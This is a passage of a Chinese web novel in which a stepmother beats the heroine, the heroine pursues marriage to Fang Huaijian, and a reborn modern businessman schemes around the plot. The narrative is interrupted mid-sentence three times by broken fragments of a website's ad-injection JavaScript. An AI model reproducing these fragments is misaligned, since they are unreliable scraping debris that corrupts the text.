朱氏故意为之。她来之前婆母嘱托了她,留心几位婆母心仪的姑娘,和她们套套近乎,她自己还想为儿子相看几位。可月洞门事件后,那些本对她亲近的姑娘们突然便端着了,朱氏怎能不气!一切和她小叔方怀简一点关系都没有,他是受害者,却无辜风评急坠,连累自己儿子亦不讨喜。 此刻陈氏恨自己不是个聋子,想到只要和林蓁走近一些,就是粪坑里丢石头溅出事,心中恨恼气憋得胸口疼。 压抑着脾性终于挨到宴席散场,一坐进马车还未离开毅勇侯府内院,陈氏压低声音质问林蓁。 “不满意亲事可以和家中长辈说,不用来的,今日这般你到底何意?” 林蓁垂首不言,她必是要嫁方怀简的,但这事不必和嫡母陈氏说,陈氏在英国公府里说不上话,便是在自己房中,也是父亲说了算。 自己都怄成这样了,林蓁温吞水般还不搭话,陈氏气得倒仰,她怒道:“你故意的,对不对?!” “你看不上这桩亲事也要来,就是存心到这儿来损人不利己,要搅黄你妹妹亲事,要看我丢脸!” 林蓁埋着头,仍是不搭话。 马车驶出毅勇侯府,陈氏不再压抑性情,看着林蓁这般德性,忍不住推搡她的肩膀,边推边骂。 “你说啊,你有种做没胆子认?” “你以为老太太喜欢你弟弟,就会由着你乱来?” 陈氏本是推搡,但林蓁死咬着唇不吭气,陈氏的发作似一拳打进棉花,一点儿爽利劲都无,恨入心髓血脉偾张,手上劲道加大在林蓁身上乱砸,林蓁偏歪着身子想躲开,但这马车里坐了三人,没有多余空间可避,便任由她砸也不回嘴。 “你想害我们,你这般歹毒,会有报应的,和你娘一样!你娘——” 突然扯出自己去世多年母亲,林蓁实在听不下,瞬间抬起胳膊挥向陈氏反击。 林蓁力气大,陈氏反应不及,一个趔趄就要倒地,幸而林葳眼疾手快,迅速伸手扶住母亲,陈氏才稳住身形。 “我母亲由不得你说!”林蓁对视陈氏讶异目光,掷地有声无所畏惧。 陈氏气疯了,林蓁竟敢还手,就知道她是个绵里藏针的人,这会儿锐利目光竟不做分毫掩饰,直白挑衅自己。 扬手一个巴掌呼向林蓁脸上,林蓁迅疾后仰闪开了这记耳光,陈氏便扑了过来疯狂打骂。 “卑下小人!白眼狼!狐媚子!” 林葳惊呆了,母亲在心中是宗妇典范,说话行事从来和风细雨,年轻时爱慕父亲颜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 色执意嫁于父亲,多年来受尽委屈亦无半分怨言,可现在竟似被市井泼妇夺舍。 唯恐母亲再说出什么糟污词语,林葳拉住母亲挥舞不停的胳膊,好声劝道:“母亲,别这样”。 “你还帮她!我交代你的话你全当耳旁风!为何她一人在园子?你跑哪儿去了?” 女儿不听话没看好林蓁惹出这般事,这会儿还不站自己帮着林蓁,陈氏气得吐血,抡在林蓁身上的手随手向林葳挥去。 “啪”,车内清脆一声响。 林葳捂住脸颊,眼泪瞬间流出。 手掌麻痛,陈氏知道打得狠了惊得停下动作,慌忙想拉开林葳的手看看她的脸,林葳别扭着躲开。 从未动过女儿一根指头,今日竟因林蓁女儿挨了自己巴掌,陈氏心下一酸,身上顿时失了力气也没了心思,想起各种往事悲从中来,竟哽咽抽泣起来。 林蓁母亲唐氏一个外室提升为妾,死了摇身成为丈夫心中白月光,从此陈氏便是无期徒刑,且唐氏一双儿女和她一脉相承,各个天真浪漫下心机深沉,自己不知吃了多少闷亏,还让婆母妯娌看不起,此刻亦从贤妇变为自己深恶痛绝的泼妇,一时间陈氏哭声越来越大。 马车在静寂夜里奔驰,唯有阵阵哭声刺耳。 陈氏哭个不停,林葳按住脸颊亦无言语,林蓁看这母女俩,终是道:“我从未有伤害妹妹心思,回家后我会向祖母和父亲禀明,该我的惩罚我都认下,我的亲事我亦有主张”。 陈氏哭得弯曲的身子闻言都坐直了,她变身泼妇,此刻亦察觉到,林蓁亦似变了个人。 林蓁自小就有心思,但她从来掩饰极好,面上功夫亦做足给人乖巧听话印象,故而婆母在林蓁弟弟助攻下,一直觉得林蓁可怜见的。她怎会如此直白忤逆自己,她有什么依仗? “你的亲事?”,陈氏犹豫一瞬还是单刀直入问出口:“方公子,他给了什么承诺?” 林蓁母亲唐氏是个勾人厉害角色,死了那么多年都能让家宅不宁,陈氏忽然意识到,林蓁说不得青出于蓝而胜于蓝。 5. 第 5 章 林蓁说完闭口不言,对陈氏问话置若罔闻,陈氏却没再计较,目光凝在林蓁脸上,幻视出林蓁母亲唐氏的脸。 唐氏亦是这般性子,半天不出一句话,却把林若柏勾得死死的,提了妾进了门还不满足,勾得林若柏再不进自己屋子,自己找婆母亦是亲姑母哭诉时,林若柏干脆把铺盖行李衣物全卷走了,婆母反过来还怪自己不懂事,若不是有林葳陪伴,那些痛楚彻骨的日子怕是熬不过去。而今唐氏去世多年孩子们年纪大了,林若柏与自己的关系才缓和。 陈氏细细看着,林蓁眉眼间比唐氏更盛,在英国公府长大,风韵气度更胜唐氏,这样的娇花撩起人来,会是怎样结果? 回想水榭那儿情形,众目睽睽下,林蓁面无惭色淡定自若走向众人,安之若素坐下看戏时脸上还带着笑意,陈氏此刻置身事外地想,那份笃定和厚颜仿若天生,一时间鄙夷同时心中生出些许佩服。 陈氏一直身在庐山,这会儿跳脱出来恍然间她醍醐灌顶。她一直防着林蓁越过林葳让自己没脸,可林蓁若攀上武将世家高枝,有方怀简这样人中龙凤榜眼夫君,关起家门林葳是没脸,可出了门在婆母和大嫂英国公夫人面前,陈氏腰杆都要硬上几分,她可是嫡母,唐氏都转世投胎了享不到这福分。 那些看不上林蓁的不过是觉得她攀不上高枝,癞蛤蟆想吃天鹅肉,可若林蓁真吃上了呢,这些婚前丑事方怀简必是忙不迭给她收拾,过上几年再回忆说不定当做一段趣谈。 陈氏回忆林若柏和唐氏相处的那几年,对自己的结论十分肯定,而林葳若有这样的姐夫,婆家无论是谁也不敢看轻她。 这样一想,陈氏心中怒意消失了大半,等马车到了英国公府门口,已然心平气和。下车前,陈氏对林蓁淡声道:“这桩亲事你大伯母劳心牵线,若是不成你可彻底得罪大伯母,你可好好想想如何弥补,至于祖母和你父亲,你别把他们气死”。 其实婆母和林若柏,陈氏暗想,未必会气,婆母只要别碍着她宝贝孙子林承俭便无所不可,而林若柏本就想林蓁攀高枝,说不定还乐见其成。 陈氏心中暗嗤了一声林若柏,抬脚进了英国公府大门。 走到自家宅院门口,还没进门,林如柏林承俭听见动静身形敏捷从屋内走出。 陈氏看了眼他俩满怀期待的表情,不动声色道:“我累了,先回房休息”,又侧身看向林蓁:“和你父亲好好说”。 头也不回往自己院子走了。 今日去毅勇侯府,本就是林如柏拜托陈氏出面受累的事,林如柏未有多想,和颜悦色对女儿道:“夜凉,到房里说”。 林承俭已经挽上林蓁胳膊,笑问:“三姐,如何?” 林蓁没有拐弯抹角,进了房门站定后,泰然道:“父亲,我要嫁方怀简”。 林如柏父子俩明显愣了一瞬,林如柏笑容僵滞在脸上,他迟疑了一会儿,问林蓁:“方怀简,是三年前那个榜眼?”回过神来,即刻命令林承俭:“不早了,你明日还要上学,先回去休息”。 林承俭瞪大眼睛反驳:“我不是小孩,三姐的事我想知道”。他明年要参加乡试,若中举人便可入朝为官,不是什么都不懂的少年儿郎。 “回去!” 林承俭还要坚持,林蓁笑着对弟弟柔声道:“小弟,等会我去找你”。 林承俭向来听林蓁话,他向父亲躬了个身,虽不太情愿还是退出了房门。 门扉刚合上,林如柏急问:“怎么回事?” 林蓁自若地把遇见方怀简的过程讲了一遍,只说园中偶遇交谈了几句,自己心仪方怀简,不想他嫁。 要嫁方怀简必得家中支持,尤其现在他尚无前世记忆,需要她主动连缀,家中万万不可拖后腿。 林蓁神色坚定,言中有不自知的羞态:“父亲,我看到他的第一眼,眼中便再无他人”。 林如柏想起当年唐氏惊鸿一瞥,从此她便在他心中永驻,自己亦曾少年,如何不懂。他沉默良久,问道:“那方怀简呢,他作何形态?” 林蓁只讲好的:“只说了几句话,他对女儿脾性极好”。 飞飞是极好脾气的人,印象里就没对谁说过重话,那个时空里自己也不是什么作精,总之两人极其合拍。现在飞飞虽无往日记忆,林蓁回想白日和他短暂接触片刻,他被自己强拉着衣袖,着急得冒汗,可仍然既无恶言亦无凶光,更没有强行动手拂袖而去,这做派就是飞飞素来行为方式。 想想他被自己拉住衣袖的窘迫,林蓁着重道:“他待人真的很好”。 林如柏稍稍松心,女儿容貌脾性没的说,唯一缺憾就是出身差了点,但好赖也是英国公侄女,只要方怀简没那些高门观念,两人结为夫妇虽难亦不是不能。 自己都有过让唐氏为正室的想法,方怀简若心中有女儿怎会委屈她。 林如柏本就想女儿高嫁,女儿第一次面露羞态,他更是有了成全之心。 僵硬许久的脸庞缓缓呈现一个淡笑,林如柏安慰林蓁道:“既然你喜欢,我们先去探探口风,明日和祖母大伯母商议了再说”。 “真的?”林蓁高兴得要蹦起来,“谢谢父亲!”以为父亲怎么也得责怪几句不懂事,得罪大伯母类似的话,林蓁实在没想到如此顺利,父亲轻易允诺自己。 女儿眼里闪烁着从未有过的光亮,那是璞玉浑金的少女慕念,林如柏想起唐氏临终前,自己在她床前的誓言,心下决定只要两个年轻人两情相悦,他委曲求全也会在方氏夫妻前求来这段姻缘。 约好翌日一齐给祖母请安,林如柏来到陈氏院子。 陈氏正要睡下,见林如柏神色如常走进来,心里惊服林蓁的本事。 “三姑娘和你提了?” “提了”,林如柏颔首,对陈氏道:“明日见了祖母和大嫂,把杜大人家的事给了了,后面还要辛苦你去方家探探风”。 儿女亲事议事琐碎,许多事情需要陈氏出面,这也是这几年来他和陈氏关系缓和的重要原因。 陈氏闻言老脸一红,林如柏没脸没皮竟如此淡定,陈氏猜测林蓁话没说全,也是,她再厚脸皮应该在父亲面前说不出自己拉着一个男人衣袖不放的糗事。 陈氏冷笑:“她话没说全吧?”便把白日水榭边众夫人看到的事无巨细详细说了遍,包括林蓁脸厚的种种模样也有声有色描绘了番。 “三姑娘和往日判若两人!方怀简大嫂都那样说了,你还要上门?!”陈氏不屑。 林如柏面露惊讶,随后脸色慢慢沉重,心中疼惜之情渐浓,若只是林蓁一厢情愿,那事情可就难办。可林蓁如此柔媚可爱,她鼓起勇气不顾闲言碎语在人前这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 般主动,那必是她的真心实意,方怀简是什么柳下惠真的不动心吗? 林如柏默了片刻,淡声道:“既如此,既然大家都看到了,那更要去方府了。我们努力争取,若林蓁进了方府的门,那些恶言恶语自然就消散了”。 果然不出所料,陈氏心中鄙视,林如柏非但不责骂林蓁不以为耻,还以此为借口有了去方府的理由,真是人至贱则无敌。 陈氏嗤笑:“做妾也愿意?” “明日与母亲一起商议”,林如柏起身没理会陈氏暗讽,若方怀简爱慕林蓁,怎会舍得她做妾。 “今日劳你辛苦,你好好休息”。 陈氏没搭话,看着林如柏背影狠狠剜了一眼。她想明白了,从此她要做隐身人,若林蓁真出了头,她少不得有碗汤喝,若如以前她到婆母林如柏跟前抱怨,自己反而成为众矢之的,他们只会觉得她作为长辈没丁点能耐,这点儿小事都会砸锅。 * 毅勇侯府送走最后宾客。 时彦时隽在门口目送宾客离开,转身正要进府,父亲时世诚匆忙小跑出来。 “快去劝劝你们母亲,她把姝儿骂哭了!” 时世诚泥腿子出身,娶的谢氏世家旁支又貌美,从成亲那日起他就是老婆奴妻管严,在谢氏跟前没有话语权。见谢氏骂时姝不守规矩,他不明所以,赶紧出来找帮手。 兄弟俩明白,对了个眼神就往回走。 推开谢氏房门时,一眼看到时姝坐在八仙桌前委委屈屈模样,时隽冲口而出:“这事儿和她没关系,母亲,今日你生辰呢”。 “嗯,你也知道我生辰”,谢氏冲时隽点点头,“今日大家都说你刀舞得好,比那大街上杂耍强百倍呢,再有百戏你可得在夫人们面前露一手,明珠蒙尘蔚为可惜”。 唯恐谢氏转移目标,时隽赶紧摸脸:“脸烧得难受,我去喝醒酒汤”,他右脚刚跨进门里,转个圈直接闪了出去。 谢氏重重叹了口气。 时彦看着时姝笑了笑,目光移到谢氏,他劝道:“妹妹素来义气,但人心隔肚皮,不能因好心帮错了人以后就不帮了,母亲说是不是?” 又问时姝:“和母亲认错了没有?态度诚恳不诚恳?” 时姝点头:“认过错了”。 “还不走,母亲累了一天,别妨碍母亲休息”。 见谢氏没出声,时姝猛地站起身哧溜一下消失不见。 望着大开的门扉,谢氏摇摇头走过去合上了门,转身埋怨时彦:“当初我失了心窍才听了你的话,把方夫人给拒了!方怀简难得一见的才俊,知根知底,再到哪里找这样的女婿?” “姝儿若跟着不着调的女子交往,影响了名声,以后找的女婿怕是给方怀简提鞋都不配!” 时彦讪笑道:“怎么会,必比方怀简好上万倍”。 “在哪里啊?姝儿已到说亲年纪,你这一年内能给我找出来比方怀简好的?不需要万倍!” 时彦不禁心算了一下时间,时姝的命定之人就快出现,那是今后天子现在的四皇子,时姝可是真凤皇后命。 “那个林三姑娘这么不着调,你怎会想让我送她玉镯?” 时彦皱起了眉,林蓁惯常是一门心思针对时姝的祸害精,可四皇子还没出现,没想到就连逛个园子她都能连累妹妹。 6. 第 6 章 拿到玉镯时,谢氏隐隐约约猜测或许时彦看中了林蓁,但时彦未提其他,谢氏亦未见过林蓁本人,当时她按下心中纳闷。 今日初见林蓁,惊叹是个难得美人,谢氏想过若时彦开口求娶,她绝对赞成,谁知林蓁那般作态。 此时时彦蹙眉,谢氏见状不想刨根问底,她温声换了话题:“嫁给你爹二十来年,实在想不到还有今日这般风光”。 谢氏看着自己大儿子,不是王婆卖瓜,她见过的小辈中时彦生得最好,完美继承她和丈夫优点。 身形高大挺拔,威严硬朗的脸庞生了双桃花眼,偏偏把凌厉气质中和得恰到好处,显得俊美沉静,户部三年文官经历更让他添了几分温润。 真是神仙般的一张脸,谢氏却垂眸不想再看,越看越徒增疼惜难受,她垂眸,语气中尽是温情和疼惜,“竟是彦儿为我操办这一切,有你这样的好孩子,我三生三世修来的福分”。 时彦笑道:“母亲哪里话,那都是父亲给您挣的,人家是给金吾卫大将军面子,我不过给父亲做个帮手,有您这样的母亲,孩儿才捡回一条性命,是孩儿三生有幸”。 谢氏笑着,眼眶却红了。 “吱呀”一声,时世诚推门进来,谢氏时彦同时看过去,时彦唇角一挑,对父亲道:“姝儿没事了?” 时姝是全家人的心肝宝,时彦知道父亲心疼妹妹,一定会想方设法哄好了她。 时世诚朝儿子憨憨一笑,时彦似笑非笑颇有眼色退出,顺手掩上门扉。 看到妻子眼睛红红的,时世诚诧异道:“姝儿哭了,你也哭了?” 谢氏嗔道:“我是心疼彦儿,我宁愿他像以前一样,和隽儿姝儿一起胡闹把家拆了,也不想看他现在处处行止周正妥帖模样,完全变了个人似的”。 时世诚叹了口气,安慰道:“虽不再戎马,我看他现在户部做事挺开心的,只要他开心,他变成啥样我都高兴,做啥我都支持。你看,才不过三年,彦儿已连升三级为郎中,假以时日我们行伍之家或许出个尚书呢”。 “要什么尚书!”谢氏有些恼,打断时世诚的话,“我才不想他从早忙到晚,回家都还在书房里呆到半夜!” “要不是三年前他受伤,我的孙子现在都可以跑了!可现在”,谢氏垂着眼声音黯然,没再说下去。 时世诚愧疚,他带着儿子们冲锋陷阵,却不能让他们全须全尾回来,不过,这都是武将应有的命运。他默了一会儿,忽然想起什么,凑近谢氏问道:“彦儿,现在可以人道了吗?” “叫你别问!”谢氏突然炸了毛,“不是和你说过别问吗?!” 时世诚委屈:“我这不就和你说说,心疼他想知道他好了吗?” “你当这院子里就我们两人吗?” 时世诚垂首没再和妻子辩驳,其实说不说的,人都有眼睛看得到。 四年前,父子三人领兵北上抗击北狄打得艰难,三人都受了伤,时彦为时隽挡刀摔下山崖几近丢命,回京时已人事不省,天子遣来的御医们都摇头叹息。可全家人并未认命,衣不解带照料,不放弃一丝希望不惜一切救治,时彦才在一月后奇迹般苏醒,可记忆全无,休养了大半年才能下床,后来身体虽恢复却难再戎马,蒙天子体恤在户部求了个闲差,没成想倒做得有声有色。 能下地走动时时彦坚持退了亲赔了不少礼钱,他的亲事是谢氏费尽心思求来的将军之女,明眼人都猜到退亲原因,必是时彦受伤后不能人道,不然怎会主动放弃大好姻缘。 时世诚心下了然,这都好几年了时彦从不提娶妻之事,而且他房里时不时就有药味,必是身体缘故。 见妻子激动,时世诚劝解道:“人世间欢娱不是只有夫妻情,他每天忙忙碌碌充实乐呵不是很好吗?” “你别和我说这些!”谢氏气道,“他不对我们笑难道对我们哭吗?他不把自己整得忙起来难道天天想妻儿吗,彦儿苦啊!” “还是得给他寻门亲事,家里金银珠宝随姑娘家用,能接受彦儿这样的,陪着他就行”。 时世诚心下并不赞同,不过此刻哄妻子开心嘴上只说好。 * 时彦并未回自己院子,来到弟弟时隽屋外,透过大开窗户见屋内灯火通明,时隽正悠闲品茶,时彦笑道:“你倒是会享受”。 时隽给时彦斟了一杯,体贴道:“这是茶庄送上的新茶,我今儿刚尝”。 他边品边感慨:“家里有了茶庄,我也似变成了个细致人”。 又问时彦:“哥哥怎么不休息,找我何事?” “看姝儿被那个林三姑娘牵累,想起一事”,时彦对弟弟叮嘱,“那林三约方怀简再见,你得跟着,别让方怀简着了道”。 时隽奇道:“你咋关心起他?” “我本没这个闲心”,时彦手指轻抚着杯盏,垂眸看着氤氲在杯口飘散,“但今日亲眼目睹,担心你的好友被设计不得不娶非心仪之人,故多一句嘴”。 时隽颔首:“方怀简早有此料,已约过我”。 时彦点头,敦促时隽早些休息便起身告辞。 时隽望着时彦高大清癯背影,蓦地冒出一句:“哥,你比母亲更像母亲”。 听闻这般评价,时彦笑着回头:“这夸我还是骂我呢?” 时隽望着时彦黑曜石般眼睛,叹道:“夸你,虽然和以前不一样,但挺好”。 时彦淡笑承认:“嗯,不一样,仿佛重活了一回,自然倍加珍惜”。 时隽眸中闪着光亮,突然道:“谢谢你,哥哥”。 “谢什么,今晚你怎么和母亲一样多愁善感,不像你了”。 “嗯”,时隽认同,“杀敌以一当百,入仕连升三级,为商日进斗金,交友高朋满座,哥哥,没你这家得散”。 时彦哈哈一笑。 时隽道:“哥哥,无论你做什么,我都跟随”。 时彦挑眉道:“杀人放火也跟我?” “马首是瞻”,时隽没有踌躇,“你肯定有理由,为我们好”。 时彦指尖向着弟弟轻点了点,脸上笑意更甚:“嗯,有好处少不了你”。 时彦回了自己院子,忙碌整天简单沐浴收拾,终于躺回六柱檀木珐琅架子床上,锦被柔软床褥丝滑,床角香囊散逸淡淡幽香,他舒服得长叹了一声。望着床顶幔帐繁复祥云五彩花纹,他回溯起今日诸事,这是他多年以来习惯,回顾分析,为以后决策和行动未雨绸缪。 家中亲人都看出他和过往不一样,他的确不一样,也从未有过任何掩饰,他本是另一个时空的人,一个现代人,一个很成功的商界精英。 他的家族是京城顶级豪门,母亲是外交官是红后代,父亲家族房地产起家,到他念大学那会儿已发展为涉及多个行业庞大商业帝国,而他是这个帝国唯一继承人。 跟随父亲在商界浮沉多年,他是叱咤商界的精英骄子,上过许多商界杂志封面,接受过无数各类采访,电视上有他参与的财经节目,网络上有他各种视频,是无数梦女喊老公的人。 他以为他会一直光焰辉煌,却在二十九岁参加完外祖母寿宴后猝死。 他深深记得那天所有的事。 在通宵未眠为一个重要项目赶进度的间隙,他抽空参加外祖母寿宴。可能寿宴热闹的气氛让他有些昏沉,饭后他去了宴会厅楼下的健身房,本想锻炼半小时再回办公室继续加班,可就在跑步机上跑步时,他猝然倒下。 灵魂在躯体上空飘荡,他看见许多人围拢过来,有按胸人工呼吸的,有拿着除颤器拼命电击的,他想回到自己的躯体,却并不得法,渐渐失去了记忆。 再醒来时,他在伸手不见五指的山崖底部,能听到远处狼嚎声,而他浑身动弹不得痛彻心扉。他不知发生了什么,在意识逐渐模糊时,几个穿着古代盔甲满身污渍和血迹的青年找到了他,其中一个大哭着抱住他,叫他“哥哥”。 在青年的哭喊中,时彦总算明白,他穿越了,他死了一次,可穿越的这个时空他濒临死亡,很快会再见阎王。 强烈的不甘和求生意识让他肾上腺素飙升,他吊着一口气,凭借多年荒野户外运动极限运动经验指挥着几个古代青年处理伤势,躲避狼群,寻找水源和食物,终于成功获救,而他松懈后再次昏迷。 再次醒来时已是一个月后,彻底清醒后他终于弄明白了,他穿成了一本古言小说里同名同姓的npc。 这本书是表弟送给女朋友的特签,当时外祖母寿宴上表弟提了一句同名,出于好奇时彦随手翻了翻。他被小说脑残的爱情纸糊的权谋狗血的剧情所震惊,不明白这种书为何这么火。他在文娱行业有一些投资,在健身房跑步时边跑边看,琢磨着文娱行业赚钱的路径时,他轰然倒地穿进了令他眉头紧拧的小说。 他是女主时姝的亲大哥npc得彻底,从头到尾只活在男女主的嘴里,小说开篇他和父亲已死了快四年,时姝因祭奠亲人在寺庙里和男主相遇,共同失去亲人的经历拉近两人距离,两人相识相恋中,女二女三女n各种狗血搅局,时姝如小龙女般 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 身心遭受巨大折磨历经九九八十一难终于在小说倒数章节和男主在一起。 可时彦凭一己之力改了开篇,他和这个时空里的父亲活得好好的。 毅勇侯府的家却因他千疮百孔。毅勇侯时世诚泥腿子出身,因救驾有功获得爵位,子孙还不可世袭,他本无家底,除了固定薪俸只有数量不多的薄田。时彦昏迷期间,毅勇侯夫妇把家里能卖的都卖了,连女主时姝的嫁妆都卖了部分,换了钱财给他寻各地名医,各种天材地宝,奇术秘方在他身上一一实验,总算把他从阎王殿给拉回来。 清醒后的时彦生活在这个徒有虚名月钱都快发不出来的侯府,很不适应。 过去锦衣玉食前拥后簇,各种事务有无数靠谱下属贴心安排妥当,他只要动动脑动动嘴即可。 现在爹是一身腱子肉的武夫,娘是柔弱贵家娇花,弟弟使不完的蛮力,妹妹少不更事的纯真。便是佣人,都没几个称心用得上手,不是老弱病残就是年纪尚小,问就是跟了多年的忠仆或者当初价格便宜看上去老实敦厚。 自己曾叱咤商界何等风光,如今泥腿子行伍家庭,时彦有一种虎落平原之感,纵有千般本事万般手段,亦是巧妇难为无米之炊。 可就这么个现状,只能强撑。还不能走路时,时彦便坐着轮椅到最繁华的街市考察各类商铺,地理位置规模大小人流构成不一而足。又舔着脸往各个钱庄里跑,凭着三寸不烂之舌借着父亲毅勇侯名头借钱,舌灿莲花鼓动亲朋好友熟人投资。 又想法进了油水最多的户部,依照过去从商经验,钱权结合才能迸发最大收益。如此这般起早贪黑不分昼夜公务私活各种操持忙碌,三年辛苦侯府总算焕然一新。实际上钱庄里的债现在还没偿完,但经商就是如此,只要日日有赚就不用担心借债,不若如此,自己现在恐怕睡不起这檀木珐琅床。 时隽说他比母亲更像母亲,时彦哈哈的同时心里其实颇为认可。 这里的亲人们爱他,为救他不吝金玉,知道他和过去大相径庭从来都是心疼,从不多问,从不提他那场出征和伤病,害怕触碰他伤心往事。 岂知他本不是池中物,户部小庙难敬大佛,为家人他会返哺,为自己他会踔厉。 时彦知晓剧情,来这里四年为自己为家人颇多谋划。他不露痕迹指点父亲违害就利精进武将事业,引导母亲万事钱开路和贵妇们交往拓展人脉,他原本八面玲珑,对这个时空的父母亦诚心诚意,父母只觉他病愈后心灵性慧,对他日益言听计从。 在他的计划里,他要娶女n林蓁,因她是宠妹狂魔男主苦寻多年的亲妹,未来的长公主,他更得为妹妹时姝皇后之路保驾护航。 他浸润商界多年,非常明白0到1的巨大困难。父亲朝堂无根基,府内无家底,自己宵衣旰食三年不过是个户部郎中,尽管父母极为骄傲他一个武将未经科举取得如此政绩。 若有林蓁这样一位长公主妻子助力,许多事情迎刃而解,权臣之路事半功倍,若运开时泰飞升真龙也不无可能。而且林蓁是时姝恋爱中的搅屎棍,小说里她始终未嫁人,未认亲前在家里被磋磨不得嫁,认亲后摇身一变为公主,眼高于顶谁也不入她眼,出于嫉妒和占有的变态心理,处处针对时姝,而男主对亲妹林蓁失而复得的补偿心理,总是和稀泥,雷声大雨点小,最终在林蓁差点害了时姝性命后才幡然悔悟,命林蓁进了庵堂。 把林蓁这么个作精难缠鬼放毅勇侯府里看管,改变她最终青灯古佛相伴的命运,时彦认为算做了件好事,也减少对时姝的诸般折磨。商海里他见识过各样人等,有的是手段收拾林蓁这样的人,时姝大结局时才苦尽甘来,时彦不想被动等待,不想看妹妹一路被虐。 几年来一切循着计划有条不紊,可今日出现了时彦不能理解的偏差。 时彦盯着幔帐的眼睛眨了下,眼前似乎再次清晰月洞门前各种细节。 林蓁怎会和方怀简拉扯呢。方怀简在小说中甚至比不上自己,他连姓名都无,就是辅国大将军方继中之子一笔带过,和剧情毫无关系。 她对方怀简说过的是什么,cosplay?时彦回想着林蓁发音,并不十分肯定,有些怀疑林蓁亦是穿越之人,毕竟如此离奇的穿越能发生一次,就可能发生n次。 又一次仔细回想小说内容,自他知道穿书后,他已回忆小说内容无数遍,毫不夸张的说,横流倒背亦没问题。 想不出什么纰漏,时彦翻身调整了睡姿。 时隽和方怀简如手如足,他有许多机会向时隽探听。 7. 第7章 “喳喳喳”,屋外枝头喜鹊吵闹声不绝于耳,林蓁一夜好梦带着甜笑转醒。眼前窗棂被朝霞染上粉彩,她坐起来直起身,透过窗棂看向屋外,东边天空红霞漫天,金乌乍出流光溢彩。 林蓁心情如喜鹊闹枝,朝霞万丈。 昨日因父亲要上值,她起个大早和父亲同去给祖母请安,父亲挑着话说,向祖母提了去方府探一探的想法。祖母虽然诧异,但听闻两个年轻人彼此有意,沉疑半晌后叮嘱父亲暂且莫要声张,办事要稳妥,既不要得罪户部员外郎杜大人,也不要在辅国大将军方继中面前过于谄媚。 这事儿就妥了。 虽然大伯母迟早会知道,但祖母已然点头首肯,大伯母应该不会主动在祖母面前闹起什么风雨。 一整日大伯母和嫡母都没什么动静。父亲下值回家后很晚了还叫林蓁去了书房,和她说了去方府探口风的安排。嫡母陈氏会找个稳靠说得上话的夫人做中间人,中间人去方府拜访方大将军夫人探口风。林若柏抚慰女儿,叫她莫要担心,长辈们都会给她安排妥帖,只要方怀简真心对她,她在家安心静候佳音即可。 意想不到的顺利。 林蓁做了一夜的梦,梦里她和飞飞在曾经时空里甜蜜领证,还有现下两人洞房里喝合卺酒…… 今日和方怀简约好了见面,林蓁一早向陈氏请安时提了自己想了半日的主意。 “母亲,前日在毅勇侯府时和毅勇侯女公子颇为投缘,只是前日她不得空我们未能长谈,约好今日去她府上玩,恳请母亲准许”。 陈氏端着茶盏的手差点没拿稳。 她已经很佩服林蓁不过两日就把林若柏哄得团团转,既让婆母点了头,还叫她出面找人去方府说和,巧妙避免和大嫂见面碰撞。 大嫂前日有恙未出门,昨日下午应是听到了什么,但亦无可奈何,她便知道林蓁恬不知耻行径,亦不能越过二房代为管教。陈氏估计大嫂只能关起门来咧咧,就如她过往般。事实是大嫂遣了个丫鬟来传话,提醒莫要闹到祖母面前都不好看。当时陈氏只默声颔首,什么没说把丫鬟打发走了。她庆幸自己隐身甚为明智,林蓁有林若柏帮她顶着,可她那德性自然有人替陈氏着急管教。 陈氏以为林蓁已然让长辈们为她冲锋陷阵,必然躲在屋子里偷笑,没想到她还会必躬必亲,一力当先。 要知道林蓁长到如今,和姊妹们结伴出门都很少,就未曾独自出门游玩过。 她哪里是爱玩的性子,为了潘安俊秀,委实首尾不顾了,陈氏暗暗捉摸,林蓁这般舍脸弃命折腾,她这事儿说不定真能成。 陈氏无意做拦路虎,她便是拦住,以林蓁这会儿一无忌惮,指不定另寻他径折腾得水覆难收,不如顺水推舟安排个人看着她,好歹摸清她的意图。 陈氏抚着盏盖,抬眸望向林蓁。 “闺中遇上可意的手帕交,甚好,只是你从未独自出门,怎能叫人放心?只去毅勇侯府么?还去别的地方吗?” 林蓁垂首低眉顺眼应答:“只去侯府,马车门对门便到了,有丫鬟跟着,应该无事”。 “你那碧竹哪里顶事”,陈氏垂眸微想了会儿,“让宝霞和你去,宝霞跟着我出门多次,遇事她有主意”。 林蓁顺从答应,谢过了陈氏,心里欢喜至极。不知父亲和陈氏说过什么,陈氏一改常态毫无为难,她本想若陈氏不应再找小弟林承俭帮忙。 顺利得像个梦,林蓁仿佛看到方怀简微笑着向她招手,等着她扑进他的怀中。 陈氏望着林蓁背影消失,唤来了宝霞:“下午你跟着三姑娘出门,机灵点”。 想了想,又添补强调:“三姑娘是主子,叫你做什么就做什么,不许忤逆她,否则回来我不轻饶!” 下人们常常看人下菜,她是要宝霞去看着,不是管着拦着,若宝霞机灵过了头,碍着林蓁行事反倒是多事添乱。 * 回自己院子路上,和自己同行请安的六妹妹林萃忍不住问:“三姐姐,毅勇侯府好玩吗,可不可以带我去?我一点儿不吵”。 六妹妹林萃是父亲林若柏在母亲去世后娶的妾周姨娘的孩子,才十一岁。周姨娘带着林萃和林蓁住在同一个院子沁院。 沁院本是林蓁母亲唐氏生前住的院子。唐氏去世时,林蓁和弟弟林承俭年岁很小,祖母让嫡母陈氏带在她的院子里养,但陈氏不久后生病,姐弟俩又搬回了沁院。祖母疼惜小儿子林若柏唯一的儿子林承俭,且他生得可爱冰雪聪明,让林承俭搬到自己院子里,而林蓁则让新进门的周姨娘照顾,这同住便是十几年。 周姨娘在陈氏面前大气不敢出,林萃跟着她见人也生怯,长这么大和林蓁一样没出过几趟门。有时看见其他姐姐们出门玩,林萃也想去,却因为周姨娘各种担心被她阻拦。 但林萃自小和林蓁一个院子里长大,在林蓁面前,林萃毫无负担。 眼睛睁得大大的,林萃看着林蓁的眼神中蕴满渴望。 林蓁摸摸她的头,爱抚道:“毅勇侯府我才去过一次,要是以后和侯府女公子熟了,我定带你去玩”。 见林萃眼中无法掩饰的失落,林蓁笑道:“但我会给你带松鹤楼的点心回来”。 